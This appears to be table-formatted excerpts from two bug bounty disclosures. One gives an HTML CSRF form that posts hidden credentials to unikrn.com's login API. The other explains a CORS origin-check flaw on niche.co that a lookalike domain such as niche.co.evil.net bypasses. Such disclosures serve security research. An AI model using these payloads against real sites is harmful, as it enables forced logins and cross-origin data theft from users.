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| **Sample CSRF Payload** | |
| <html> | |
| <body> | |
| <form action="https://unikrn.com/apiv1/login" method="POST"> | |
| <input type="hidden" name="usr" value="[email]"> | |
| <input type="hidden" name="pwd" value="[password]"> | |
| <input type="submit" value="Submit request" /> | |
| </form> | |
| </body> |
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| Payload: Use this payload to send XHR request to the cross domain | |
| Description: | |
| Basically, the application was only checking whether "//niche.co" was in the Origin header, that means i can give anything containing that. For ex : "https://niche.co.evil.net", "https://niche.com", i can even change the protocol like http, ftp, file etc. cors_1.png (F363563): cors_1.png | |
| Steps To Reproduce: | |
| Exploit: | |
| Host this code on a domain(http://niche.co.evil.net) or any other that contains "//niche.co". |